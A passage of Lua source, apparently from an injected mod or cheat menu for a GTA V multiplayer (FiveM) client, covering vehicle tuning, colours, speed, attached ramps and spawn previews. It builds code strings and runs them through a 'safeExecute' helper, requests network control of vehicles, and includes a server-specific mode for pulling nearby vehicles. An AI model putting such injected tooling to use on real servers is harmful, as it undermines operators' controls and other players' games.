255, 255, 255) SetVehicleTyresCanBurst(vehicle, true) if 0 < GetVehicleLiveryCount(vehicle) then SetVehicleLivery(vehicle, 0) end Citizen.Wait(50) menu.functions.updateVehicleStats() menu.utils.notify("Vehicle reset to stock", "success") end) end function assembledMenuFunctions.updateVehicleStats() local playerPed = PlayerPedId() menu.vars.sliders = menu.vars.sliders or {} menu.vars.bools = menu.vars.bools or {} menu.vars.colorPickers = menu.vars.colorPickers or {} menu.vars.selectors = menu.vars.selectors or {} if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then return end SetVehicleModKit(vehicle, 0) for modType = 0, 49, 1 do local modLevel = GetVehicleMod(vehicle, modType) menu.vars.sliders["vehicleMod_" .. modType] = 0 <= modLevel and modLevel or 0 end menu.vars.sliders.vehicleEngineMod = menu.vars.sliders.vehicleMod_11 or 0 menu.vars.sliders.vehicleBrakesMod = menu.vars.sliders.vehicleMod_12 or 0 menu.vars.sliders.vehicleTransmissionMod = menu.vars.sliders.vehicleMod_13 or 0 menu.vars.sliders.vehicleSuspensionMod = menu.vars.sliders.vehicleMod_15 or 0 menu.vars.sliders.vehicleArmorMod = menu.vars.sliders.vehicleMod_16 or 0 menu.vars.bools.vehicleTurbo = IsToggleModOn(vehicle, 18) menu.vars.bools.vehicleXenon = IsToggleModOn(vehicle, 22) menu.vars.bools.vehicleTireSmokeMod = IsToggleModOn(vehicle, 20) menu.vars.bools.vehicleCustomTires = GetVehicleModVariation(vehicle, 23) local windowTint = GetVehicleWindowTint(vehicle) menu.vars.sliders.vehicleWindowTint = 0 <= windowTint and windowTint or 0 menu.vars.bools.vehicleNeonLights = IsVehicleNeonLightEnabled(vehicle, 0) local neonRed, neonGreen, neonBlue = GetVehicleNeonLightsColour(vehicle) menu.vars.colorPickers.vehicleNeonColor = { neonRed or 0, neonGreen or 0, neonBlue or 0 } local primaryRed, primaryGreen, primaryBlue = GetVehicleCustomPrimaryColour(vehicle) menu.vars.colorPickers.vehiclePrimaryColor = { primaryRed or 255, primaryGreen or 255, primaryBlue or 255 } local secondaryRed, secondaryGreen, secondaryBlue = GetVehicleCustomSecondaryColour(vehicle) menu.vars.colorPickers.vehicleSecondaryColor = { secondaryRed or 255, secondaryGreen or 255, secondaryBlue or 255 } local pearlescent, wheelColor = GetVehicleExtraColours(vehicle) menu.vars.sliders.vehiclePearlescent = pearlescent or 0 menu.vars.sliders.vehicleWheelColor = wheelColor or 0 menu.vars.sliders.vehiclePlateStyle = GetVehicleNumberPlateTextIndex(vehicle) or 0 menu.vars.sliders.vehicleXenonColor = menu.functions.clampVehicleXenonColorIndex(menu.functions.getVehicleXenonLightsColorNative(vehicle)) local smokeRed, smokeGreen, smokeBlue = GetVehicleTyreSmokeColor(vehicle) menu.vars.colorPickers.vehicleTireSmokeColor = { smokeRed or 255, smokeGreen or 255, smokeBlue or 255 } local liveryCount = GetVehicleLiveryCount(vehicle) if liveryCount and 0 < liveryCount then menu.vars.sliders.vehicleLivery = GetVehicleLivery(vehicle) or 0 else local liveryMod = GetVehicleMod(vehicle, 48) menu.vars.sliders.vehicleLivery = 0 <= liveryMod and liveryMod or 0 end local wheelType = GetVehicleWheelType(vehicle) or 0 menu.vars.selectors.vehicleWheelType = wheelType + 1 return end for modType = 0, 49, 1 do menu.vars.sliders["vehicleMod_" .. modType] = 0 end menu.vars.sliders.vehicleEngineMod = 0 menu.vars.sliders.vehicleBrakesMod = 0 menu.vars.sliders.vehicleTransmissionMod = 0 menu.vars.sliders.vehicleSuspensionMod = 0 menu.vars.sliders.vehicleArmorMod = 0 menu.vars.bools.vehicleTurbo = false menu.vars.bools.vehicleXenon = false menu.vars.bools.vehicleTireSmokeMod = false menu.vars.bools.vehicleCustomTires = false menu.vars.bools.vehicleBulletproofTires = false menu.vars.sliders.vehicleWindowTint = 0 menu.vars.sliders.vehiclePearlescent = 0 menu.vars.sliders.vehicleWheelColor = 0 menu.vars.sliders.vehiclePlateStyle = 0 menu.vars.sliders.vehicleXenonColor = 0 menu.vars.sliders.vehicleLivery = 0 menu.vars.bools.vehicleNeonLights = false menu.vars.colorPickers.vehicleNeonColor = { 0, 255, 255 } menu.vars.colorPickers.vehiclePrimaryColor = { 255, 255, 255 } menu.vars.colorPickers.vehicleSecondaryColor = { 255, 255, 255 } menu.vars.colorPickers.vehicleTireSmokeColor = { 255, 255, 255 } end function assembledMenuFunctions.getVehicleModMaxLevel(modType, fallback) local playerPed = PlayerPedId() fallback = tonumber(fallback) or 0 if not IsPedInAnyVehicle(playerPed, false) then return fallback end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then return fallback end SetVehicleModKit(vehicle, 0) local modCount = GetNumVehicleMods(vehicle, modType) if modCount and 0 < modCount then return modCount - 1 end if modCount == 0 then return 0 end return fallback end function assembledMenuFunctions.setVehicleEngineMod(requestedLevel) local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error") return end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then menu.utils.notify("Invalid vehicle", "error") return end local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then NetworkRequestControlOfEntity(vehicle) end SetVehicleModKit(vehicle, 0) local modCount = GetNumVehicleMods(vehicle, 11) local maxModLevel = 4 if 0 < modCount then maxModLevel = modCount - 1 elseif modCount == 0 then maxModLevel = 0 end local selectedLevel = math.min(math.max(requestedLevel, 0), maxModLevel) SetVehicleMod(vehicle, 11, selectedLevel, false) menu.vars.sliders = menu.vars.sliders or {} menu.vars.sliders.vehicleEngineMod = selectedLevel menu.utils.notify("Engine mod set to level " .. selectedLevel, "success") local createThread = Citizen.CreateThread do local function runSetVehicleEngineModThread() local vehicleExists, vehicleHandle Citizen.Wait(50) vehicleHandle = vehicle vehicleExists = DoesEntityExist(vehicleHandle) if vehicleExists then if IsPedInAnyVehicle(playerPed, false) then if GetVehiclePedIsIn(playerPed, false) == vehicle then local modLevel = GetVehicleMod(vehicle, 11) if 0 <= modLevel then menu.vars.sliders.vehicleEngineMod = modLevel end end end end end createThread(runSetVehicleEngineModThread) end end function assembledMenuFunctions.setVehicleBrakesMod(level) local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error") return end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then menu.utils.notify("Invalid vehicle", "error") return end local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then NetworkRequestControlOfEntity(vehicle) end SetVehicleModKit(vehicle, 0) local modCount = GetNumVehicleMods(vehicle, 12) local maxLevel = 3 if 0 < modCount then maxLevel = modCount - 1 elseif modCount == 0 then maxLevel = 0 end local selectedLevel = math.min(math.max(level, 0), maxLevel) SetVehicleMod(vehicle, 12, selectedLevel, false) if not menu.vars.sliders then menu.vars.sliders = {} end menu.vars.sliders.vehicleBrakesMod = selectedLevel menu.utils.notify("Brakes mod set to level " .. selectedLevel, "success") Citizen.CreateThread(function() Citizen.Wait(50) if DoesEntityExist(vehicle) then if IsPedInAnyVehicle(playerPed, false) then if GetVehiclePedIsIn(playerPed, false) == vehicle then local currentLevel = GetVehicleMod(vehicle, 12) if 0 <= currentLevel then menu.vars.sliders.vehicleBrakesMod = currentLevel end end end end end) end function assembledMenuFunctions.setVehicleTransmissionMod(level) local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error") return end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then menu.utils.notify("Invalid vehicle", "error") return end local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then NetworkRequestControlOfEntity(vehicle) end SetVehicleModKit(vehicle, 0) local modCount = GetNumVehicleMods(vehicle, 13) local maxLevel = 3 if 0 < modCount then maxLevel = modCount - 1 elseif modCount == 0 then maxLevel = 0 end local selectedLevel = math.min(math.max(level, 0), maxLevel) SetVehicleMod(vehicle, 13, selectedLevel, false) if not menu.vars.sliders then menu.vars.sliders = {} end menu.vars.sliders.vehicleTransmissionMod = selectedLevel menu.utils.notify("Transmission mod set to level " .. selectedLevel, "success") Citizen.CreateThread(function() Citizen.Wait(50) if DoesEntityExist(vehicle) then if IsPedInAnyVehicle(playerPed, false) then if GetVehiclePedIsIn(playerPed, false) == vehicle then local currentLevel = GetVehicleMod(vehicle, 13) if 0 <= currentLevel then menu.vars.sliders.vehicleTransmissionMod = currentLevel end end end end end) end function assembledMenuFunctions.setVehicleSuspensionMod(level) local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error") return end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then menu.utils.notify("Invalid vehicle", "error") return end local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then NetworkRequestControlOfEntity(vehicle) end SetVehicleModKit(vehicle, 0) local modCount = GetNumVehicleMods(vehicle, 15) local maxLevel = 4 if 0 < modCount then maxLevel = modCount - 1 elseif modCount == 0 then maxLevel = 0 end local selectedLevel = math.min(math.max(level, 0), maxLevel) SetVehicleMod(vehicle, 15, selectedLevel, false) if not menu.vars.sliders then menu.vars.sliders = {} end menu.vars.sliders.vehicleSuspensionMod = selectedLevel menu.utils.notify("Suspension mod set to level " .. selectedLevel, "success") Citizen.CreateThread(function() Citizen.Wait(50) if DoesEntityExist(vehicle) then if IsPedInAnyVehicle(playerPed, false) then if GetVehiclePedIsIn(playerPed, false) == vehicle then local currentLevel = GetVehicleMod(vehicle, 15) if 0 <= currentLevel then menu.vars.sliders.vehicleSuspensionMod = currentLevel end end end end end) end function assembledMenuFunctions.setVehicleArmorMod(level) local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error") return end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then menu.utils.notify("Invalid vehicle", "error") return end local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then NetworkRequestControlOfEntity(vehicle) end SetVehicleModKit(vehicle, 0) local modCount = GetNumVehicleMods(vehicle, 16) local maxLevel = 5 if 0 < modCount then maxLevel = modCount - 1 elseif modCount == 0 then maxLevel = 0 end local selectedLevel = math.min(math.max(level, 0), maxLevel) SetVehicleMod(vehicle, 16, selectedLevel, false) if not menu.vars.sliders then menu.vars.sliders = {} end menu.vars.sliders.vehicleArmorMod = selectedLevel menu.utils.notify("Armor mod set to level " .. selectedLevel, "success") Citizen.CreateThread(function() Citizen.Wait(50) if DoesEntityExist(vehicle) then if IsPedInAnyVehicle(playerPed, false) then if GetVehiclePedIsIn(playerPed, false) == vehicle then local currentLevel = GetVehicleMod(vehicle, 16) if 0 <= currentLevel then menu.vars.sliders.vehicleArmorMod = currentLevel end end end end end) end function assembledMenuFunctions.setVehicleNeonColor(red, green, blue) local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error") return end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then menu.utils.notify("Invalid vehicle", "error") return end local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then NetworkRequestControlOfEntity(vehicle) end SetVehicleNeonLightsColour(vehicle, red, green, blue) end function assembledMenuFunctions.setVehicleNeonColorFromPicker() if not menu.vars.colorPickers then menu.vars.colorPickers = {} end local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then if menu.vars.colorPickerState and menu.vars.colorPickerState.var == "vehicleNeonColor" then menu.vars.colorPickerState.rainbowEnabled = false end return end if menu.vars.colorPickerState and menu.vars.colorPickerState.var == "vehicleNeonColor" then if menu.vars.colorPickerRainbowStates and menu.vars.colorPickerRainbowStates.vehicleNeonColor then menu.vars.colorPickerState.rainbowEnabled = true end end local color = menu.vars.colorPickers.vehicleNeonColor if color and 3 <= #color then menu.functions.setVehicleNeonColor(color[1], color[2], color[3]) end end function assembledMenuFunctions.setVehicleTireSmokeColor(red, green, blue) local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error") return end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then menu.utils.notify("Invalid vehicle", "error") return end Citizen.CreateThread(function() local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then local attempts = 0 while not NetworkHasControlOfEntity(vehicle) and attempts < 20 do NetworkRequestControlOfEntity(vehicle) Citizen.Wait(50) attempts = attempts + 1 end end SetVehicleModKit(vehicle, 0) local modCount = GetNumVehicleMods(vehicle, 20) if 0 < modCount then SetVehicleMod(vehicle, 20, 0, false) Citizen.Wait(100) end SetVehicleTyreSmokeColor(vehicle, red, green, blue) Citizen.Wait(50) SetVehicleTyreSmokeColor(vehicle, red, green, blue) if 0 < modCount then Citizen.Wait(50) SetVehicleMod(vehicle, 20, -1, false) Citizen.Wait(100) SetVehicleMod(vehicle, 20, 0, false) Citizen.Wait(100) SetVehicleTyreSmokeColor(vehicle, red, green, blue) Citizen.Wait(50) SetVehicleTyreSmokeColor(vehicle, red, green, blue) end end) menu.utils.notify("Tire smoke color set", "success") end function assembledMenuFunctions.setVehicleTireSmokeColorFromPicker() if not menu.vars.colorPickers then menu.vars.colorPickers = {} end local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then if menu.vars.colorPickerState and menu.vars.colorPickerState.var == "vehicleTireSmokeColor" then menu.vars.colorPickerState.rainbowEnabled = false end return end if menu.vars.colorPickerState and menu.vars.colorPickerState.var == "vehicleTireSmokeColor" then if menu.vars.colorPickerRainbowStates and menu.vars.colorPickerRainbowStates.vehicleTireSmokeColor then menu.vars.colorPickerState.rainbowEnabled = true end end local color = menu.vars.colorPickers.vehicleTireSmokeColor if color and 3 <= #color then menu.functions.setVehicleTireSmokeColor(color[1], color[2], color[3]) end end function assembledMenuFunctions.setVehiclePrimaryColor(red, green, blue) local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error") return end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then menu.utils.notify("Invalid vehicle", "error") return end local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then NetworkRequestControlOfEntity(vehicle) end SetVehicleCustomPrimaryColour(vehicle, red, green, blue) end function assembledMenuFunctions.setVehiclePrimaryColorFromPicker() if not menu.vars.colorPickers then menu.vars.colorPickers = {} end local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then if menu.vars.colorPickerState and menu.vars.colorPickerState.var == "vehiclePrimaryColor" then menu.vars.colorPickerState.rainbowEnabled = false end return end if menu.vars.colorPickerState and menu.vars.colorPickerState.var == "vehiclePrimaryColor" then if menu.vars.colorPickerRainbowStates and menu.vars.colorPickerRainbowStates.vehiclePrimaryColor then menu.vars.colorPickerState.rainbowEnabled = true end end local color = menu.vars.colorPickers.vehiclePrimaryColor if color and 3 <= #color then menu.functions.setVehiclePrimaryColor(color[1], color[2], color[3]) end end function assembledMenuFunctions.setVehicleSecondaryColor(red, green, blue) local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error") return end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then menu.utils.notify("Invalid vehicle", "error") return end local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then NetworkRequestControlOfEntity(vehicle) end SetVehicleCustomSecondaryColour(vehicle, red, green, blue) end function assembledMenuFunctions.setVehicleSecondaryColorFromPicker() if not menu.vars.colorPickers then menu.vars.colorPickers = {} end local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then if menu.vars.colorPickerState and menu.vars.colorPickerState.var == "vehicleSecondaryColor" then menu.vars.colorPickerState.rainbowEnabled = false end return end if menu.vars.colorPickerState and menu.vars.colorPickerState.var == "vehicleSecondaryColor" then if menu.vars.colorPickerRainbowStates and menu.vars.colorPickerRainbowStates.vehicleSecondaryColor then menu.vars.colorPickerState.rainbowEnabled = true end end local color = menu.vars.colorPickers.vehicleSecondaryColor if color and 3 <= #color then menu.functions.setVehicleSecondaryColor(color[1], color[2], color[3]) end end function assembledMenuFunctions.maxVehicleTuning() local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end Citizen.CreateThread(function() menu.functions.requestTuningVehicleControl(vehicle) SetVehicleModKit(vehicle, 0) for _, modType in ipairs({ 11, 12, 13, 15, 16 }) do menu.functions.applyVehicleMaxMod(vehicle, modType) end ToggleVehicleMod(vehicle, 18, true) ToggleVehicleMod(vehicle, 22, true) ToggleVehicleMod(vehicle, 20, true) for modType = 0, 49, 1 do menu.functions.applyVehicleMaxMod(vehicle, modType) end local liveryCount = GetVehicleLiveryCount(vehicle) if liveryCount and 0 < liveryCount then SetVehicleLivery(vehicle, liveryCount - 1) end SetVehicleWindowTint(vehicle, 1) SetVehicleNumberPlateTextIndex(vehicle, 1) Citizen.Wait(100) menu.functions.updateVehicleStats() menu.utils.notify("Vehicle fully tuned", "success") end) end function assembledMenuFunctions.setVehicleSpeed() local speed = menu.vars.sliders and menu.vars.sliders.vehicleSpeed or 0.0 local playerPed = PlayerPedId() if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) SetVehicleForwardSpeed(vehicle, speed / 3.6) menu.utils.notify("Vehicle speed set to " .. speed .. " km/h", "success") else menu.utils.notify("You must be in a vehicle", "error") end end pendingFunctionValue = { "Ramp", "Container", "Bend Plate", "Jump S", "H Loop", "Remove" } assembledMenuFunctions.vehicleAttachObjectChoices = pendingFunctionValue function assembledMenuFunctions.getVehicleAttachObjectSpec(choice) local specs = { Ramp = { model = "xs_prop_arena_jump_xs_01a_sf", offsetX = 0.0, offsetY = 3.2, offsetZ = -0.65, rotX = 0.0, rotY = 0.0, rotZ = -90.0 }, Container = { model = "prop_container_04a", offsetX = 0.0, offsetY = 5.0, offsetZ = -0.5, rotX = 0.0, rotY = 0.0, rotZ = 180.0 }, ["Bend Plate"] = { model = "xs_prop_lplate_bend_01a_wl", offsetX = 0.0, offsetY = 3.0, offsetZ = -0.4, rotX = 0.0, rotY = 0.0, rotZ = 180.0 }, ["Jump S"] = { model = "xs_prop_arena_jump_s_01a_wl", offsetX = 0.0, offsetY = 3.2, offsetZ = -0.65, rotX = 0.0, rotY = 0.0, rotZ = -90.0 }, ["H Loop"] = { model = "xs_prop_arena_adj_hloop_wl", offsetX = 0.0, offsetY = 3.5, offsetZ = -0.65, rotX = 0.0, rotY = 0.0, rotZ = -90.0 } } if choice and specs[choice] then return specs[choice] end local selector = menu.vars.selectors and menu.vars.selectors.vehicleAttachSelector or 1 local choices = menu.functions.vehicleAttachObjectChoices or { "Ramp", "Container", "Bend Plate", "Remove" } local selectedChoice = choices[selector] or "Ramp" return specs[selectedChoice] or specs.Ramp end function assembledMenuFunctions.removeVehicleAttachedProps() if not IsPedInAnyVehicle(PlayerPedId(), false) then menu.utils.notify("You must be in a vehicle", "error", 2000) return end local code = [[ CreateThread(function() local vehicle = GetVehiclePedIsIn(PlayerPedId(), false) if vehicle == 0 or not DoesEntityExist(vehicle) then return end for _, obj in ipairs(GetGamePool("CObject")) do if DoesEntityExist(obj) and IsEntityAttachedToEntity(obj, vehicle) then DetachEntity(obj, true, true) DeleteEntity(obj) end end end) ]] menu.utils.safeExecute(code) menu.utils.notify("Attached props removed", "success", 2000) end function assembledMenuFunctions.attachVehicleProp(option) if not IsPedInAnyVehicle(PlayerPedId(), false) then menu.utils.notify("You must be in a vehicle", "error", 2000) return end local choice if not option then choice = option else choice = option.selectedValue end if not choice then local selector = menu.vars.selectors and menu.vars.selectors.vehicleAttachSelector or 1 local choices = menu.functions.vehicleAttachObjectChoices or { "Ramp", "Container", "Bend Plate", "Remove" } choice = choices[selector] or "Ramp" end if choice == "Remove" then menu.functions.removeVehicleAttachedProps() return end local spec = menu.functions.getVehicleAttachObjectSpec(choice) if not menu.utils.isObjectWhitelisted(spec.model) then menu.utils.notify("Object is blacklisted", "error", 2000) return end local createFunction = spec.bottomAlignAttach and "CreateObjectNoOffset" or "CreateObject" local attachCode if spec.bottomAlignAttach then attachCode = string.format( [[ local offX, offY, offZ = %.4f, %.4f, %.4f local rotX, rotY, rotZ = %.4f, %.4f, %.4f local minBa, maxBa = GetModelDimensions(model) if minBa and maxBa then local mx = (minBa.x + maxBa.x) * 0.5 local my = (minBa.y + maxBa.y) * 0.5 local mz = minBa.z local rad = math.rad(rotZ) local cosH = math.cos(rad) local sinH = math.sin(rad) offX = offX - (mx * cosH - my * sinH) offY = offY - (mx * sinH + my * cosH) offZ = offZ - mz end AttachEntityToEntity( obj, vehicle, 0, offX, offY, offZ, rotX, rotY, rotZ, false, false, true, false, 2, true ) ]], spec.offsetX, spec.offsetY, spec.offsetZ, spec.rotX, spec.rotY, spec.rotZ ) else attachCode = string.format( [[ AttachEntityToEntity( obj, vehicle, 0, %.4f, %.4f, %.4f, %.4f, %.4f, %.4f, false, false, true, false, 2, true ) ]], spec.offsetX, spec.offsetY, spec.offsetZ, spec.rotX, spec.rotY, spec.rotZ ) end local code = string.format( [[ CreateThread(function() local vehicle = GetVehiclePedIsIn(PlayerPedId(), false) if vehicle == 0 or not DoesEntityExist(vehicle) then return end local model = GetHashKey(%q) RequestModel(model) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(model) and GetGameTimer() < timeout do Citizen.Wait(10) end if not HasModelLoaded(model) then return end local coords = GetEntityCoords(vehicle) local obj = %s(model, coords.x, coords.y, coords.z, true, true, false) if not obj or obj == 0 or not DoesEntityExist(obj) then SetModelAsNoLongerNeeded(model) return end SetEntityCollision(obj, true, true) SetEntityCanBeDamaged(obj, false) %s SetEntityNoCollisionEntity(obj, vehicle, false) SetEntityAlpha(obj, 90, false) SetModelAsNoLongerNeeded(model) end) ]], spec.model, createFunction, attachCode ) menu.utils.safeExecute(code) menu.utils.notify(choice .. " attached to vehicle", "success", 2000) end function assembledMenuFunctions.isVehicleSpawnPreviewSelector(option) if not option or option.type ~= "selector" then return false end local func = option.originalFunc or option.func if type(func) ~= "string" then return false end if func == "spawnVehicleFromCategory" then return true end if func == "spawnVehicle" and option.var == "vehicleSelector2" then return true end return false end function assembledMenuFunctions.isVehicleSpawnPreviewGrandVehicle(option) if not option or option.type ~= "button" then return false end if not menu.functions.isServer185169NearbyVehicleMode() then return false end local func = option.originalFunc or option.func return func == "pullNearbyEmptyVehicleToPlayer" end function assembledMenuFunctions.isVehicleRadarPreviewOption(option) if not option then return option end if option.radarPreview == true then if option.previewModelHash and option.previewModelHash ~= 0 then return true end end return false end function assembledMenuFunctions.isVehicleSpawnPreviewOption(option) return menu.functions.isVehicleSpawnPreviewSelector(option) or menu.functions.isVehicleSpawnPreviewGrandVehicle(option) or menu.functions.isVehicleRadarPreviewOption(option) end function assembledMenuFunctions.getVehiclePreviewSpawnOffsets(model) local forwardOffset = 5.0 local rightOffset = 1.8 local upOffset = 0.8 if model and model ~= 0 then local minDimensions, maxDimensions = GetModelDimensions(model) if minDimensions and maxDimensions then local length = math.max(maxDimensions.y - minDimensions.y, 2.0) local width = math.max(maxDimensions.x - minDimensions.x, 1.5) forwardOffset = forwardOffset + length * 0.45 rightOffset = rightOffset + width * 0.22 upOffset = 0.6 + length * 0.1 end end forwardOffset = math.min(math.max(forwardOffset, 4.0), 16.0) rightOffset = math.min(math.max(rightOffset, 1.4), 5.0) upOffset = math.min(math.max(upOffset, 0.5), 3.5) return forwardOffset, rightOffset, upOffset end function assembledMenuFunctions.getVehicleSpawnPreviewCoords(model, useCachedRay) local playerPed = PlayerPedId() local cameraCoords = GetFinalRenderedCamCoord() or GetGameplayCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) local forward = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) local right = vector3(math.cos(math.rad(cameraRotation.z)), math.sin(math.rad(cameraRotation.z)), 0.0) local forwardOffset, rightOffset, upOffset = menu.functions.getVehiclePreviewSpawnOffsets(model) local rayEnd = cameraCoords + forward * forwardOffset local spawnCoords = rayEnd + right * rightOffset + forward * upOffset local heading = cameraRotation.z if useCachedRay == false then local ray = menu.vars.vehiclePreviewRay if ray and ray.modelHash ~= model then ray = nil end if ray and ray.handle then local status, hit, hitCoords = GetShapeTestResult(ray.handle) if status ~= 1 then ray.handle = nil if status == 2 and (hit == 1 or hit == true) and hitCoords then ray.hitCoords = hitCoords else ray.hitCoords = nil end end end if not ray then ray = { modelHash = model } end if ray.hitCoords then spawnCoords = ray.hitCoords + right * rightOffset + forward * upOffset end if not ray.handle then ray.handle = StartShapeTestRay( cameraCoords.x, cameraCoords.y, cameraCoords.z, rayEnd.x, rayEnd.y, rayEnd.z, 1, playerPed, 0 ) end menu.vars.vehiclePreviewRay = ray return spawnCoords, heading end local rayHandle = StartShapeTestRay( cameraCoords.x, cameraCoords.y, cameraCoords.z, rayEnd.x, rayEnd.y, rayEnd.z, 1, playerPed, 0 ) local status, hit, hitCoords = GetShapeTestResult(rayHandle) if useCachedRay ~= false then while status == 1 do Citizen.Wait(0) status, hit, hitCoords = GetShapeTestResult(rayHandle) end end if status ~= 1 and hit == 1 and hitCoords then spawnCoords = vector3(hitCoords.x, hitCoords.y, hitCoords.z) + right * rightOffset + forward * upOffset end return spawnCoords, heading end function assembledMenuFunctions.getVehiclePreviewGroundZ(x, y, z, model, allowRaycast) z = z or 0.0 RequestCollisionAtCoord(x, y, z) RequestAdditionalCollisionAtCoord(x, y, z) local groundZ for _, testZ in ipairs({ z + 800.0, z + 200.0, z + 50.0 }) do local found, resultZ = GetGroundZFor_3dCoord(x, y, testZ, false) if found then groundZ = resultZ break end end if not groundZ and allowRaycast ~= false then local rayHandle = StartShapeTestRay(x, y, z + 50.0, x, y, z - 50.0, 1, 0, 0) local status, hit, hitCoords = GetShapeTestResult(rayHandle) while status == 1 do Citizen.Wait(0) status, hit, hitCoords = GetShapeTestResult(rayHandle) end if hit == 1 and hitCoords then groundZ = hitCoords.z end end if not groundZ then return z end local minZ = 0.0 if model then local minDimensions = GetModelDimensions(model) if minDimensions and minDimensions.z then minZ = minDimensions.z end end return groundZ - minZ + 0.05 end function assembledMenuFunctions.placeVehiclePreviewOnGround(entity, model) if not entity or entity == 0 then return end if not DoesEntityExist(entity) then return end local coords = GetEntityCoords(entity) local modelHash = model or GetEntityModel(entity) local groundZ = menu.functions.getVehiclePreviewGroundZ(coords.x, coords.y, coords.z, modelHash) SetEntityCoordsNoOffset(entity, coords.x, coords.y, groundZ, false, false, false) end function assembledMenuFunctions.resolveVehicleSpawnPreviewModel(option, selectedValue) if not option or not selectedValue then return nil end selectedValue = menu.functions.normalizeSelectorArg(selectedValue) if not selectedValue or selectedValue == "" then return nil end local func = option.originalFunc or option.func if type(func) ~= "string" then return nil end if func == "spawnVehicleFromCategory" then if menu.utils and menu.utils.getVehicleCategories then menu.utils.getVehicleCategories() end local categories = menu.vars and menu.vars.vehicleCategories or {} for _, category in pairs(categories) do for _, vehicle in ipairs(category) do if vehicle.display == selectedValue then return vehicle.model end end end return nil end if func == "spawnVehicle" and option.var == "vehicleSelector2" then return selectedValue end return nil end function assembledMenuFunctions.clearVehicleSpawnPreview() local previewExists = menu.vars.vehicleSpawnPreviewEntity if previewExists then previewExists = DoesEntityExist(menu.vars.vehicleSpawnPreviewEntity) end if not previewExists and not menu.vars.vehicleSpawnPreviewPending and not menu.vars.vehicleSpawnPreviewModel then return end menu.vars.vehicleSpawnPreviewGen = (menu.vars.vehicleSpawnPreviewGen or 0) + 1 do local menuVars = menu.vars menuVars.vehicleSpawnPreviewPending = nil end menu.vars.vehiclePreviewMotion = nil menu.vars.vehiclePreviewRay = nil if previewExists then Citizen.InvokeNative(1981285383, menu.vars.vehicleSpawnPreviewEntity, false) DeleteEntity(menu.vars.vehicleSpawnPreviewEntity) end menu.vars.vehicleSpawnPreviewEntity = nil menu.vars.vehicleSpawnPreviewModel = nil end function assembledMenuFunctions.updateVehicleSpawnPreview(model, modelHash) modelHash = tonumber(modelHash) local modelKey if modelHash and modelHash ~= 0 then modelKey = "h:" .. tostring(modelHash) else if not model then return end model = tostring(model):gsub("^%s+", ""):gsub("%s+$", "") if model == "" then return end modelKey = model modelHash = GetHashKey(model) end if menu.vars.vehicleSpawnPreviewModel == modelKey and menu.vars.vehicleSpawnPreviewEntity and DoesEntityExist(menu.vars.vehicleSpawnPreviewEntity) then return end if menu.vars.vehicleSpawnPreviewPending == modelKey then return end menu.functions.clearVehicleSpawnPreview() local generation = menu.vars.vehicleSpawnPreviewGen menu.vars.vehicleSpawnPreviewPending = modelKey Citizen.CreateThread(function() if not IsModelInCdimage(modelHash) or not IsModelAVehicle(modelHash) then if menu.vars.vehicleSpawnPreviewGen == generation then menu.vars.vehicleSpawnPreviewPending = nil end return end RequestModel(modelHash) local timeout = GetGameTimer() + 3000 while not HasModelLoaded(modelHash) and timeout > GetGameTimer() do if menu.vars.vehicleSpawnPreviewGen ~= generation then SetModelAsNoLongerNeeded(modelHash) return end Citizen.Wait(0) end if not HasModelLoaded(modelHash) then 